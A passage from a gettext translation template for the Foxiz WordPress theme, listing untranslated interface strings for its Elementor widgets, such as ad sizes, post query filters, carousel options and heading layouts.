elementor/menu.php:79 elementor/mini-cart.php:73 #: elementor/navigation.php:123 elementor/notification-icon.php:88 #: elementor/search-icon.php:104 elementor/social-list.php:95 #: widgets/sb-post.php:164 widgets/sb-social-icon.php:86 msgid "Left" msgstr "" #: elementor/control.php:458 elementor/dark-toggle.php:78 #: elementor/font-resizer.php:86 elementor/login-icon.php:113 #: elementor/logo.php:112 elementor/menu.php:87 elementor/mini-cart.php:81 #: elementor/navigation.php:131 elementor/notification-icon.php:96 #: elementor/search-icon.php:112 elementor/social-list.php:103 #: widgets/sb-post.php:165 msgid "Right" msgstr "" #: elementor/control.php:474 msgid "avatar (Author Avatar)" msgstr "" #: elementor/control.php:475 msgid "author (Author)" msgstr "" #: elementor/control.php:476 msgid "date (Publish Date)" msgstr "" #: elementor/control.php:477 msgid "category (Categories)" msgstr "" #: elementor/control.php:478 msgid "tag (Tags)" msgstr "" #: elementor/control.php:479 msgid "view (Post Views)" msgstr "" #: elementor/control.php:480 msgid "comment (Comments)" msgstr "" #: elementor/control.php:481 msgid "update (Last Updated)" msgstr "" #: elementor/control.php:482 msgid "read (Reading Time)" msgstr "" #: elementor/control.php:483 msgid "custom (Custom)" msgstr "" #: elementor/control.php:497 elementor/control.php:505 msgid "On Mobile" msgstr "" #: elementor/control.php:498 elementor/control.php:506 msgid "On Tablet" msgstr "" #: elementor/control.php:499 msgid "On Tablet & Mobile" msgstr "" #: elementor/control.php:507 msgid "Tablet & Mobile" msgstr "" #: elementor/control.php:516 elementor/plan.php:154 msgid "Background" msgstr "" #: elementor/control.php:518 elementor/plan.php:152 msgid "Shadow" msgstr "" #: elementor/control.php:526 msgid "Gray Solid" msgstr "" #: elementor/control.php:527 msgid "Dark Solid" msgstr "" #: elementor/control.php:528 msgid "Gray Dotted" msgstr "" #: elementor/control.php:529 msgid "Dark Dotted" msgstr "" #: elementor/control.php:530 msgid "Gray Dashed" msgstr "" #: elementor/control.php:531 msgid "Dark Dashed" msgstr "" #: elementor/control.php:541 widgets/sb-ad-script.php:126 msgid "Leaderboard (728x90)" msgstr "" #: elementor/control.php:542 widgets/sb-ad-script.php:127 msgid "Banner (468x60)" msgstr "" #: elementor/control.php:543 widgets/sb-ad-script.php:128 msgid "Half banner (234x60)" msgstr "" #: elementor/control.php:544 widgets/sb-ad-script.php:129 msgid "Button (125x125)" msgstr "" #: elementor/control.php:545 widgets/sb-ad-script.php:130 msgid "Skyscraper (120x600)" msgstr "" #: elementor/control.php:546 widgets/sb-ad-script.php:131 msgid "Wide Skyscraper (160x600)" msgstr "" #: elementor/control.php:547 widgets/sb-ad-script.php:132 msgid "Small Rectangle (180x150)" msgstr "" #: elementor/control.php:548 widgets/sb-ad-script.php:133 msgid "Vertical Banner (120 x 240)" msgstr "" #: elementor/control.php:549 widgets/sb-ad-script.php:134 msgid "Small Square (200x200)" msgstr "" #: elementor/control.php:550 widgets/sb-ad-script.php:135 msgid "Square (250x250)" msgstr "" #: elementor/control.php:551 widgets/sb-ad-script.php:136 msgid "Medium Rectangle (300x250)" msgstr "" #: elementor/control.php:552 widgets/sb-ad-script.php:137 msgid "Large Rectangle (336x280)" msgstr "" #: elementor/control.php:553 widgets/sb-ad-script.php:138 msgid "Half Page (300x600)" msgstr "" #: elementor/control.php:554 widgets/sb-ad-script.php:139 msgid "Portrait (300x1050)" msgstr "" #: elementor/control.php:555 widgets/sb-ad-script.php:140 msgid "Mobile Banner (320x50)" msgstr "" #: elementor/control.php:556 widgets/sb-ad-script.php:141 msgid "Large Leaderboard (970x90)" msgstr "" #: elementor/control.php:557 widgets/sb-ad-script.php:142 msgid "Billboard (970x250)" msgstr "" #: elementor/control.php:558 widgets/sb-ad-script.php:143 msgid "Mobile Banner (320x100)" msgstr "" #: elementor/control.php:559 widgets/sb-ad-script.php:144 msgid "Mobile Friendly (300x100)" msgstr "" #: elementor/control.php:560 widgets/sb-ad-script.php:125 msgid "Hide on Desktop" msgstr "" #: elementor/control.php:569 elementor/control.php:575 msgid "Middle" msgstr "" #: elementor/control.php:570 elementor/control.php:576 msgid "Bottom" msgstr "" #: elementor/control.php:585 msgid "Filter posts by category." msgstr "" #: elementor/control.php:590 widgets/sb-post.php:71 msgid "" "Filter posts by multiple category IDs, separated category IDs by commas (for " "example: 1,2,3)." msgstr "" #: elementor/control.php:595 widgets/sb-post.php:78 msgid "" "Filter posts by tag slugs, separated by commas (for example: tagslug1," "tagslug2,tagslug3)." msgstr "" #: elementor/control.php:600 widgets/sb-post.php:85 msgid "" "Exclude tag slugs, separated by commas (for example: tagslug1,tagslug2," "tagslug3)." msgstr "" #: elementor/control.php:605 widgets/sb-post.php:92 msgid "Filter posts by post format." msgstr "" #: elementor/control.php:610 msgid "Filter posts by post author." msgstr "" #: elementor/control.php:615 widgets/sb-post.php:106 msgid "Exclude posts by Post IDs, separated by commas (for example: 1,2,3)." msgstr "" #: elementor/control.php:620 widgets/sb-post.php:113 msgid "Filter posts by post IDs. separated by commas (for example: 1,2,3)." msgstr "" #: elementor/control.php:625 msgid "Select a sort order type for queried posts." msgstr "" #: elementor/control.php:630 msgid "Select a number of posts to show at once." msgstr "" #: elementor/control.php:635 widgets/sb-post.php:149 msgid "" "Select number of posts to pass over. Leave this option blank to set at the " "beginning." msgstr "" #: elementor/control.php:640 msgid "Select a title HTML tag for the main title." msgstr "" #: elementor/control.php:645 msgid "Select a title HTML tag for the secondary titles." msgstr "" #: elementor/control.php:650 msgid "Select a featured image size to optimize with the columns setting." msgstr "" #: elementor/control.php:655 msgid "Select a position of the featured image for this layout." msgstr "" #: elementor/control.php:660 msgid "" "Input custom ratio percent (height*100/width) for featured image you would " "like. For example: 50" msgstr "" #: elementor/control.php:665 msgid "Enable or disable category info on the post featured image." msgstr "" #: elementor/control.php:670 msgid "" "Input custom font size value for the entry category of this layout. Leave " "blank if you would like to set it as the default." msgstr "" #: elementor/control.php:675 msgid "Enable or disable the post entry meta." msgstr "" #: elementor/control.php:680 widgets/sb-post.php:156 msgid "" "Input custom entry meta tags to show, separate by comma. For example: avatar," "author,date. Keys include: [avatar, author, date, category, tag, view, " "comment, update, read, custom]" msgstr "" #: elementor/control.php:690 msgid "Disable or select setting for the post review meta." msgstr "" #: elementor/control.php:695 msgid "Enable or disable the post format icon." msgstr "" #: elementor/control.php:700 msgid "" "Input custom font size value for the post format icon of this layout. Leave " "blank if you would like to set it as the default." msgstr "" #: elementor/control.php:705 msgid "" "Input custom font size value for the post excerpt. Leave blank if you would " "like to set it as the default." msgstr "" #: elementor/control.php:710 msgid "Enable or disable the short meta description in the entry review bar." msgstr "" #: elementor/control.php:715 msgid "Enable or disable the bookmark." msgstr "" #: elementor/control.php:720 msgid "Select settings for the post excerpt." msgstr "" #: elementor/control.php:725 msgid "" "Leave this option blank or set 0 to disable. Choose \"Custom Settings " "Below\" in the above \"Excerpt\" option to activate this setting." msgstr "" #: elementor/control.php:730 msgid "" "Select a source of content to display for the post excerpt. Choose \"Custom " "Settings Below\" in the above \"Excerpt\" option to activate this setting." msgstr "" #: elementor/control.php:735 msgid "Enable or disable the read more button." msgstr "" #: elementor/control.php:740 msgid "Select total columns to show per row." msgstr "" #: elementor/control.php:745 msgid "Select total columns to show per row on the tablet device." msgstr "" #: elementor/control.php:750 msgid "Select total columns to show per row on the mobile device." msgstr "" #: elementor/control.php:755 msgid "" "Select a spacing between columns. Select \"Custom Value\" if you would like " "input it manually." msgstr "" #: elementor/control.php:760 msgid "" "Input 1/2 value of the custom gap between columns (in px) for desktop, " "tablet and mobile devices. The spacing will be 2x your input value." msgstr "" #: elementor/control.php:765 msgid "Display vertical borders between columns." msgstr "" #: elementor/control.php:770 msgid "Select a ajax pagination type." msgstr "" #: elementor/control.php:775 msgid "Do not duplicate posts has been queried before this block." msgstr "" #: elementor/control.php:780 msgid "" "If you assign this template for category or archive. The dynamic query helps " "you to only filter posts that base on current category page it's display on." msgstr "" #: elementor/control.php:785 msgid "" "Dynamic query cannot execute in this live editor. The latest posts will be " "displayed. Your change will be effect when you assign this template to a " "category page." msgstr "" #: elementor/control.php:790 msgid "Enable the scroll bar." msgstr "" #: elementor/control.php:795 msgid "" "Input the max block height (in px) when you would like to enable scrollbar. " "Leave this option blank to disable the scroll bar." msgstr "" #: elementor/control.php:800 msgid "Select a text color scheme for this block." msgstr "" #: elementor/control.php:805 msgid "Select a box style for the post listing ." msgstr "" #: elementor/control.php:810 msgid "Select a color for the background or border style." msgstr "" #: elementor/control.php:815 msgid "" "Select a color in the dark mode or light scheme mode for the background or " "border style." msgstr "" #: elementor/control.php:820 msgid "" "In case you would like to switch layout and text to light when set a dark " "background for this section." msgstr "" #: elementor/control.php:825 msgid "" "The settings below will override on theme option settings and the above font " "size settings." msgstr "" #: elementor/control.php:830 msgid "" "Display counter in the post listing. It will not compatible with the slider " "or carousel mode." msgstr "" #: elementor/control.php:835 msgid "Set a start value (index -1) for the counter." msgstr "" #: elementor/control.php:840 msgid "" "Input custom font sizes for the counter. Please blank to set it as the " "default." msgstr "" #: elementor/control.php:845 msgid "" "Input custom font size values (px) for the post title for displaying in this " "block." msgstr "" #: elementor/control.php:850 msgid "" "Input custom font size values (px) for the secondary post title for " "displaying in this block." msgstr "" #: elementor/control.php:855 msgid "Enable or disable the \"sponsored by\" meta for this post listing." msgstr "" #: elementor/control.php:860 msgid "Hide the entry category of this block on the tablet and mobile devices." msgstr "" #: elementor/control.php:865 msgid "Hide the post excerpt of this block on the tablet and mobile devices." msgstr "" #: elementor/control.php:870 msgid "" "Input entry meta tags to hide on the tablet devices, separate by comma. For " "example: avatar, author Keys include: [avatar, author, date, category, tag, " "view, comment, update, read, custom]. Input -1 to re-enable all meta." msgstr "" #: elementor/control.php:875 msgid "" "Input entry meta tags to hide on the mobile devices, separate by comma. For " "example: avatar, author Keys include: [avatar, author, date, category, tag, " "view, comment, update, read, custom]. Input -1 to re-enable all meta" msgstr "" #: elementor/control.php:880 msgid "Display this block in the slider layout if it has more than one post." msgstr "" #: elementor/control.php:885 msgid "Display this block in the carousel layout." msgstr "" #: elementor/control.php:890 msgid "" "Input total slides to show for the carousel. This value will be override on " "the columns settings, Allowing decimal value, i.e: 2.3, 2.4...." msgstr "" #: elementor/control.php:895 msgid "" "Input total slides to show for the carousel on the wide screen devices " "(wider than 1500px). Leave blank to use the above settings." msgstr "" #: elementor/control.php:900 msgid "" "Input a custom spacing value between carousel items. The spacing will be " "same as your input value. Set \"-1\" to disable the gap." msgstr "" #: elementor/control.php:905 msgid "Enable or disable the pagination dot for this carousel." msgstr "" #: elementor/control.php:910 msgid "Enable or disable the next/prev navigation dot for this carousel." msgstr "" #: elementor/control.php:915 msgid "Input a custom spacing for the carousel navigation bar." msgstr "" #: elementor/control.php:920 msgid "Enable or disable autoplay for this slider." msgstr "" #: elementor/control.php:925 msgid "" "Input a custom time to next a slide in milliseconds. Leave blank if you " "would like to set it as the default (Theme Options)." msgstr "" #: elementor/control.php:930 msgid "Enable or disable free mode when scrolling on for this carousel." msgstr "" #: elementor/control.php:935 msgid "Enable centered mode for this carousel in case you set decimal sliders." msgstr "" #: elementor/control.php:940 msgid "" "Input custom spacing values (px) between elements for displaying in this " "block." msgstr "" #: elementor/control.php:945 msgid "" "Input custom spacing values (px) between elements and featured image for " "displaying in this block." msgstr "" #: elementor/control.php:950 msgid "Input custom bottom margin values (px) between posts listing." msgstr "" #: elementor/control.php:955 msgid "" "Show a border at the bottom of each post in the listing. The bottom spacing " "will be x2 if you enable this option." msgstr "" #: elementor/control.php:960 msgid "Disable border for the last posts in this listing." msgstr "" #: elementor/control.php:965 msgid "Centering text and content for the post listing." msgstr "" #: elementor/control.php:970 msgid "Vertical align middle elements for the post listing." msgstr "" #: elementor/control.php:975 msgid "" "Input a custom border radius (in px) for the featured image or boxed layout. " "Set 0 to disable it." msgstr "" #: elementor/control.php:980 msgid "" "Input 1/2 value of the custom gap between the featured image and list post " "content (in px) for desktop, tablet devices. The spacing will be 2x your " "input value." msgstr "" #: elementor/control.php:985 msgid "" "The setting below allows you to apply the Global query (wp_query) to this " "layout and show it as a the main blog listing for the the category or " "archive page." msgstr "" #: elementor/control.php:990 msgid "" "Don't apply the WP global query mode for more than 1 block in a template to " "avoid duplicated layouts." msgstr "" #: elementor/control.php:995 msgid "" "The \"Query Settings\" & \"Unique Filter\" will be not available in the \"WP " "global query\" mode." msgstr "" #: elementor/control.php:1000 msgid "" "Please use \"WP Global Query Pagination\". The \"Ajax Pagination\" settings " "will be not available when you choose \"WP global query\" mode." msgstr "" #: elementor/control.php:1005 msgid "" "The \"WP global query mode\" layout cannot execute in this live editor. You " "can check these changes in the frontend when assign this template for a " "category or archive page." msgstr "" #: elementor/control.php:1010 msgid "" "Tips: You can change the \"Number of Posts\" setting in \"Query Settings\" " "the same as with \"Blog pages show at most\" value. This will make the " "layout look like as the frontend." msgstr "" #: elementor/control.php:1015 msgid "" "To change \"Number of Posts\" per page, please navigate to Category Page, " "Theme Options or Settings > Reading." msgstr "" #: elementor/control.php:1020 msgid "" "This is the main blog pagination for the category and archive pages. It is " "only available on the archive builder template. Please don't place this " "block into a standard page." msgstr "" #: elementor/control.php:1025 msgid "" "The pagination cannot execute in this live editor. You can check these " "changes in the frontend when assign this template for a category or archive " "page" msgstr "" #: elementor/control.php:1030 msgid "" "The ajax types is available on category, tag and blog index page. For other " "archives, The theme will fallback to the numeric type." msgstr "" #: elementor/control.php:1035 msgid "" "Choose to use the global query or use the \"Query settings\" panel. Please " "read the above notices for further information." msgstr "" #: elementor/covid-data.php:26 msgid "Foxiz - Covid Data Tracker" msgstr "" #: elementor/covid-data.php:43 msgid "Covid Data Settings" msgstr "" #: elementor/covid-data.php:51 msgid "Country Code" msgstr "" #: elementor/covid-data.php:53 msgid "" "Input a country code you would like to display, ie: US. Leave blank if you " "would like to display global data." msgstr "" #: elementor/covid-data.php:61 msgid "Country Name" msgstr "" #: elementor/covid-data.php:64 msgid "Input the country name of the code you have just added." msgstr "" #: elementor/covid-data.php:78 msgid "Virus Icon" msgstr "" #: elementor/covid-data.php:80 msgid "Show a virus icon in this block." msgstr "" #: elementor/covid-data.php:88 msgid "Name HTML Tag" msgstr "" #: elementor/covid-data.php:90 msgid "Select a title HTML tag for the country name." msgstr "" #: elementor/covid-data.php:98 msgid "Name Font Size" msgstr "" #: elementor/covid-data.php:100 msgid "" "Input custom font size values (px) for the country name for displaying in " "this block." msgstr "" #: elementor/covid-data.php:152 msgid "Label Text Font" msgstr "" #: elementor/covid-data.php:160 msgid "Total Number Font" msgstr "" #: elementor/dark-toggle.php:25 msgid "Foxiz - Header Dark Mode Toggle" msgstr "" #: elementor/dark-toggle.php:42 elementor/font-resizer.php:42 #: elementor/logo.php:80 elementor/menu.php:61 elementor/mini-cart.php:42 #: elementor/navigation.php:97 elementor/notification-icon.php:57 #: elementor/search-icon.php:62 elementor/social-list.php:59 msgid "Style Settings" msgstr "" #: elementor/dark-toggle.php:49 msgid "Mode Switcher - Light Icon Color" msgstr "" #: elementor/dark-toggle.php:51 msgid "" "Select a color for the light mode icon (Sun icon) of the dark mode switcher " "button to fit with the main navigation color." msgstr "" #: elementor/dark-toggle.php:58 msgid "Mode Switcher - Dark Icon Background" msgstr "" #: elementor/dark-toggle.php:60 msgid "" "Select a background for the dark mode icon (Moon icon) of the dark mode " "switcher button to fit with the main navigation color." msgstr "" #: elementor/dark-toggle.php:66 elementor/font-resizer.php:74 #: elementor/login-icon.php:101 elementor/logo.php:100 elementor/menu.php:75 #: elementor/mini-cart.php:69 elementor/navigation.php:119 #: elementor/notification-icon.php:84 elementor/search-icon.php:100 #: elementor/social-list.php:91 msgid "Alignment" msgstr "" #: elementor/font-resizer.php:25 msgid "Foxiz - Header Font Resizer" msgstr "" #: elementor/font-resizer.php:50 msgid "This block is only display in the single post page." msgstr "" #: elementor/font-resizer.php:57 elementor/mini-cart.php:49 #: elementor/notification-icon.php:64 elementor/search-icon.php:69 #: elementor/social-list.php:66 msgid "Icon Font Size" msgstr "" #: elementor/font-resizer.php:59 msgid "Select a custom font size for the font resizer icon." msgstr "" #: elementor/font-resizer.php:66 elementor/login-icon.php:93 #: elementor/mini-cart.php:61 elementor/notification-icon.php:76 #: elementor/search-icon.php:81 elementor/social-list.php:75 msgid "Icon Height" msgstr "" #: elementor/font-resizer.php:68 msgid "Select a custom height value for the font resizer icon." msgstr "" #: elementor/font-resizer.php:96 elementor/heading.php:177 #: elementor/menu.php:98 elementor/mini-cart.php:91 #: elementor/notification-icon.php:106 elementor/search-icon.php:122 #: elementor/social-list.php:113 msgid "Color Settings" msgstr "" #: elementor/font-resizer.php:103 elementor/login-icon.php:130 #: elementor/mini-cart.php:98 elementor/notification-icon.php:113 #: elementor/search-icon.php:129 elementor/social-list.php:120 msgid "Icon Color" msgstr "" #: elementor/font-resizer.php:105 msgid "Select a color for the font resizer icon." msgstr "" #: elementor/font-resizer.php:113 elementor/login-icon.php:140 #: elementor/mini-cart.php:118 elementor/notification-icon.php:123 #: elementor/search-icon.php:139 elementor/social-list.php:130 msgid "Dark Mode - Icon Color" msgstr "" #: elementor/font-resizer.php:115 msgid "Select a color for the font resizer icon in the dark mode." msgstr "" #: elementor/grid-1.php:22 msgid "Foxiz - Grid 1 (Standard)" msgstr "" #: elementor/grid-1.php:556 elementor/grid-2.php:555 #: elementor/grid-box-1.php:555 elementor/grid-box-2.php:555 #: elementor/grid-small-1.php:564 elementor/list-small-1.php:421 #: elementor/list-small-2.php:471 elementor/list-small-3.php:461 #: elementor/overlay-1.php:436 elementor/overlay-2.php:540 msgid "Counter" msgstr "" #: elementor/grid-1.php:563 elementor/grid-2.php:562 #: elementor/grid-box-1.php:562 elementor/grid-box-2.php:562 #: elementor/grid-small-1.php:571 elementor/list-small-1.php:428 #: elementor/list-small-2.php:478 elementor/list-small-3.php:468 #: elementor/overlay-1.php:443 elementor/overlay-2.php:547 msgid "Show Counter" msgstr "" #: elementor/grid-1.php:573 elementor/grid-2.php:572 #: elementor/grid-box-1.php:572 elementor/grid-box-2.php:572 #: elementor/grid-small-1.php:581 elementor/list-small-1.php:438 #: elementor/list-small-2.php:488 elementor/list-small-3.php:478 #: elementor/overlay-1.php:453 elementor/overlay-2.php:557 msgid "Counter Offset" msgstr "" #: elementor/grid-1.php:825 elementor/grid-2.php:823 #: elementor/grid-box-1.php:867 elementor/grid-box-2.php:867 #: elementor/grid-small-1.php:832 elementor/list-small-2.php:748 #: elementor/list-small-3.php:703 elementor/overlay-2.php:764 msgid "Carousel Mode" msgstr "" #: elementor/grid-1.php:833 elementor/grid-2.php:831 #: elementor/grid-box-1.php:875 elementor/grid-box-2.php:875 #: elementor/grid-small-1.php:840 elementor/list-small-2.php:756 #: elementor/list-small-3.php:711 elementor/overlay-2.php:772 msgid "" "The ajax pagination setting will be not available if the carousel mode is " "activated." msgstr "" #: elementor/grid-1.php:840 elementor/grid-2.php:838 #: elementor/grid-box-1.php:882 elementor/grid-box-2.php:882 #: elementor/grid-small-1.php:847 elementor/list-small-2.php:763 #: elementor/list-small-3.php:718 elementor/overlay-2.php:779 msgid "Carousel" msgstr "" #: elementor/grid-1.php:850 elementor/grid-2.php:848 #: elementor/grid-box-1.php:892 elementor/grid-box-2.php:892 #: elementor/grid-small-1.php:857 elementor/list-small-2.php:773 #: elementor/list-small-3.php:728 elementor/overlay-2.php:789 msgid "Number of Slides" msgstr "" #: elementor/grid-1.php:860 elementor/grid-2.php:858 #: elementor/grid-box-1.php:902 elementor/grid-box-2.php:902 #: elementor/grid-small-1.php:867 elementor/list-small-2.php:783 #: elementor/list-small-3.php:738 elementor/overlay-2.php:799 msgid "Wide Screen - Number of Slides" msgstr "" #: elementor/grid-1.php:869 elementor/grid-2.php:867 #: elementor/grid-box-1.php:911 elementor/grid-box-2.php:911 #: elementor/grid-small-1.php:876 elementor/list-small-2.php:792 #: elementor/list-small-3.php:747 msgid "Carousel Gap Value" msgstr "" #: elementor/grid-1.php:879 elementor/grid-2.php:877 #: elementor/grid-box-1.php:921 elementor/grid-box-2.php:921 #: elementor/grid-small-1.php:886 elementor/list-small-2.php:802 #: elementor/list-small-3.php:757 elementor/overlay-1.php:685 #: elementor/overlay-2.php:818 msgid "Pagination Dot" msgstr "" #: elementor/grid-1.php:889 elementor/grid-2.php:887 #: elementor/grid-box-1.php:931 elementor/grid-box-2.php:931 #: elementor/grid-small-1.php:896 elementor/list-small-2.php:812 #: elementor/list-small-3.php:767 elementor/overlay-1.php:695 #: elementor/overlay-2.php:828 msgid "Next/Prev" msgstr "" #: elementor/grid-1.php:899 elementor/grid-2.php:897 #: elementor/grid-box-1.php:941 elementor/grid-box-2.php:941 #: elementor/grid-small-1.php:906 elementor/list-small-2.php:822 #: elementor/list-small-3.php:777 elementor/overlay-2.php:838 msgid "Nav Spacing" msgstr "" #: elementor/grid-1.php:928 elementor/grid-2.php:926 #: elementor/grid-box-1.php:970 elementor/grid-box-2.php:970 #: elementor/grid-small-1.php:935 elementor/list-small-2.php:851 #: elementor/list-small-3.php:806 elementor/overlay-2.php:867 msgid "Carousel Free Mode" msgstr "" #: elementor/grid-1.php:938 elementor/grid-2.php:936 #: elementor/grid-box-1.php:980 elementor/grid-box-2.php:980 #: elementor/grid-small-1.php:945 elementor/list-small-2.php:861 #: elementor/list-small-3.php:816 elementor/overlay-2.php:877 msgid "Centered Sliders" msgstr "" #: elementor/grid-2.php:21 msgid "Foxiz - Grid 2" msgstr "" #: elementor/grid-box-1.php:21 msgid "Foxiz - Boxed Grid 1" msgstr "" #: elementor/grid-box-1.php:736 elementor/grid-box-2.php:806 #: elementor/list-box-1.php:725 elementor/list-box-2.php:725 msgid "Boxed Settings" msgstr "" #: elementor/grid-box-1.php:743 elementor/grid-box-2.php:813 #: elementor/list-box-1.php:732 elementor/list-box-2.php:732 msgid "Boxed Layout" msgstr "" #: elementor/grid-box-1.php:753 elementor/grid-box-2.php:823 #: elementor/list-box-1.php:742 elementor/list-box-2.php:742 msgid "Box Color" msgstr "" #: elementor/grid-box-1.php:762 elementor/grid-box-2.php:832 #: elementor/list-box-1.php:751 elementor/list-box-2.php:751 msgid "Dark - Box Color" msgstr "" #: elementor/grid-box-1.php:770 elementor/grid-box-2.php:840 #: elementor/list-box-1.php:759 elementor/list-box-2.php:759 msgid "Box Padding" msgstr "" #: elementor/grid-box-2.php:21 msgid "Foxiz - Boxed Grid 2" msgstr "" #: elementor/grid-small-1.php:22 msgid "Foxiz - Small Grid" msgstr "" #: elementor/grid-small-1.php:327 msgid "Featured Position on Mobile" msgstr "" #: elementor/grid-small-1.php:329 msgid "Select the featured position for this block in the mobile device" msgstr "" #: elementor/heading.php:26 msgid "Foxiz - Heading" msgstr "" #: elementor/heading.php:53 msgid "Input your heading title, allow i tags for icon classname." msgstr "" #: elementor/heading.php:54 msgid "Latest News" msgstr "" #: elementor/heading.php:60 msgid "Tagline" msgstr "" #: elementor/heading.php:63 msgid "" "Input a right tagline text for this heading. You can change font values of " "this element in Theme Options > Typography > Blog Heading" msgstr "" #: elementor/heading.php:70 msgid "Link" msgstr "" #: elementor/heading.php:78 msgid "Heading HTML Tag" msgstr "" #: elementor/heading.php:96 msgid "Layout Settings" msgstr "" #: elementor/heading.php:104 msgid "Heading Layout" msgstr "" #: elementor/heading.php:106 msgid "Select a style for your heading." msgstr "" #: elementor/heading.php:109 msgid "Layout 1" msgstr "" #: elementor/heading.php:110 elementor/quick-links.php:66 msgid "Layout 2" msgstr "" #: elementor/heading.php:111 msgid "Layout 3" msgstr "" #: elementor/heading.php:112 msgid "Layout 4" msgstr "" #: elementor/heading.php:113 msgid "Layout 5" msgstr "" #: elementor/heading.php:114 msgid "Layout 6" msgstr "" #: elementor/heading.php:115 msgid "Layout 7" msgstr "" #: elementor/heading.php:116 msgid "Layout 8" msgstr "" #: elementor/heading.php:117 msgid "Layout 9" msgstr "" #: elementor/heading.php:118 msgid "Layout 10" msgstr "" #: elementor/heading.php:119 msgid "Layout 11" msgstr "" #: elementor/heading.php:120 msgid "Layout 12" msgstr "" #: elementor/heading.php:121 msgid "Layout 13" msgstr "" #: elementor/heading.php:122 msgid "Layout 1 - Center" msgstr "" #: elementor/heading.php:123 msgid "Layout 2 - Center" msgstr "" #: elementor/heading.php:124 msgid "Layout 3 - Center" msgstr "" #: elementor/heading.php:125 msgid "Layout 4 - Center" msgstr "" #: elementor/heading.php:126 msgid "Layout 5 - Center" msgstr "" #: elementor/heading.php:127 msgid "Layout 6 - Center" msgstr "" #: elementor/heading.php:128 msgid "Layout 7 - Center" msgstr "" #: elementor/heading.php:129 msgid "Layout 8 - Center" msgstr "" #: elementor/heading.php:130 msgid "Layout 9 - Center" msgstr "" #: elementor/heading.php:131 msgid "Layout 10 - Center" msgstr "" #: elementor/heading.php:132 msgid "Layout 11 - Center" msgstr "" #: elementor/heading.php:133 msgid "Layout 12 - Center" msgstr "" #: elementor/heading.php:134 msgid "Layout 13 - Center" msgstr "" #: elementor/heading.php:144 msgid "" "Input a custom font size value (px) for this heading. Leave this option " "blank to set the default value." msgstr "" #: elementor/heading.php:155 msgid "Tagline - Font Size" msgstr "" #: elementor/heading.php:157 msgid "" "Input a custom font size value (px) for this tagline. Leave this option " "blank to set the default value." msgstr "" #: elementor/heading.php:168 msgid "Tagline Arrow" msgstr "" #: elementor/heading.php:169 msgid "Show an arrow icon at the right of the tagline." msgstr "" #: elementor/heading.php:186 msgid "" "Note: The colors settings will based on the heading layout. Primary color " "will not apply on the style 6." msgstr "" #: elementor/heading.php:194 msgid "Primary Color" msgstr "" #: elementor/heading.php:196 msgid "Select a primary color for this heading." msgstr "" #: elementor/heading.php:206 msgid "Accent Color" msgstr "" #: elementor/heading.php:208 msgid "Select a accent color for this heading." msgstr "" #: elementor/heading.php:219 msgid "Tagline Color" msgstr "" #: elementor/heading.php:221 msgid "Select a color for the tagline of this heading." msgstr "" #: elementor/heading.php:232 msgid "Dark Mode - Primary Color" msgstr "" #: elementor/heading.php:234 msgid "Select a primary color for this heading in the dark mode." msgstr "" #: elementor/heading.php:244 msgid "Dark Mode - Accent Color" msgstr "" #: elementor/heading.php:246 msgid "Select a accent color for this heading in the dark mode." msgstr "" #: elementor/heading.php:257 msgid "Dark Mode - Tagline Color" msgstr "" #: elementor/heading.php:259 msgid "Select a tagline color for this heading in the dark mode." msgstr "" #: elementor/heading.php:315 elementor/plan.php:341 msgid "Heading Font" msgstr "" #: elementor/heading.php:323 msgid "Tagline Font" msgstr "" #: elementor/hierarchical-1.php:25 msgid "Foxiz - Hierarchical 1" msgstr "" #: elementor/hierarchical-1.php:223 elementor/hierarchical-2.php:225 msgid "" "This layout is best suited for putting to the column from 25% to 50% of the " "width." msgstr "" #: elementor/hierarchical-1.php:314 elementor/hierarchical-2.php:286 msgid "Leave this option blank or set 0 to disable." msgstr "" #: elementor/hierarchical-1.php:361 elementor/hierarchical-2.php:333 #: elementor/hierarchical-3.php:348 msgid "Secondary Title HTML Tag" msgstr "" #: elementor/hierarchical-1.php:395 elementor/hierarchical-2.php:367 #: elementor/hierarchical-3.php:382 msgid "Secondary Title Font Size" msgstr "" #: elementor/hierarchical-1.php:545 elementor/hierarchical-2.php:499 #: elementor/hierarchical-3.php:504 msgid "Secondary Post Title Font" msgstr "" #: elementor/hierarchical-1.php:585 elementor/hierarchical-2.php:539 #: elementor/hierarchical-3.php:544 msgid "First Post Bottom Margin" msgstr "" #: elementor/hierarchical-1.php:587 elementor/hierarchical-2.php:541 #: elementor/hierarchical-3.php:546 msgid "Input custom bottom margin values (px) for the first post." msgstr "" #: elementor/hierarchical-2.php:26 msgid "Foxiz - Hierarchical 2" msgstr "" #: elementor/hierarchical-3.php:26 msgid "Foxiz - Hierarchical 3" msgstr "" #: elementor/hierarchical-3.php:209 msgid "This layout is best suited for putting to the column 50% width" msgstr "" #: elementor/list-1.php:27 msgid "Foxiz - List 1" msgstr "" #: elementor/list-1.php:315 elementor/list-2.php:659 msgid "" "This layout is best suited for a content section or full width section with " "2 columns." msgstr "" #: elementor/list-1.php:341 elementor/list-2.php:326 #: elementor/list-box-1.php:341 elementor/list-box-2.php:341 #: elementor/list-small-2.php:243 elementor/list-small-3.php:233 msgid "Custom Featured Width" msgstr "" #: elementor/list-1.php:344 elementor/list-2.php:329 #: elementor/list-box-1.php:344 elementor/list-box-2.php:344 #: elementor/list-small-2.php:246 elementor/list-small-3.php:236 msgid "" "Input custom width values (px) for the featured image. Leave blank to set it " "as the default." msgstr "" #: elementor/list-1.php:352 elementor/list-2.php:337 #: elementor/list-box-1.php:352 elementor/list-box-2.php:352 #: elementor/list-small-2.php:254 elementor/list-small-3.php:244 #: widgets/sb-post.php:162 msgid "Featured Position" msgstr "" #: elementor/list-1.php:750 elementor/list-2.php:742 #: elementor/list-box-1.php:793 elementor/list-box-2.php:793 msgid "1/2 Featured Spacing Value" msgstr "" #: elementor/list-1.php:822 elementor/list-2.php:814 #: elementor/list-box-1.php:865 elementor/list-box-2.php:865 #: elementor/list-small-2.php:738 elementor/overlay-1.php:650 #: elementor/overlay-2.php:754 msgid "Vertical Align" msgstr "" #: elementor/list-2.php:23 msgid "Foxiz - List 2" msgstr "" #: elementor/list-box-1.php:27 msgid "Foxiz - Boxed List 1" msgstr "" #: elementor/list-box-1.php:315 elementor/list-box-2.php:315 msgid "" "This layout is best suited for putting to all sections with gray background, " "depending on column settings." msgstr "" #: elementor/list-box-2.php:27 msgid "Foxiz - Boxed List 2" msgstr "" #: elementor/list-small-1.php:26 msgid "Foxiz - Small List 1" msgstr "" #: elementor/list-small-1.php:525 elementor/list-small-2.php:593 #: elementor/list-small-3.php:565 #, php-format msgid "" "This layout is best suited for putting to section 25 ~ 33% of width with 1 " "column." msgstr 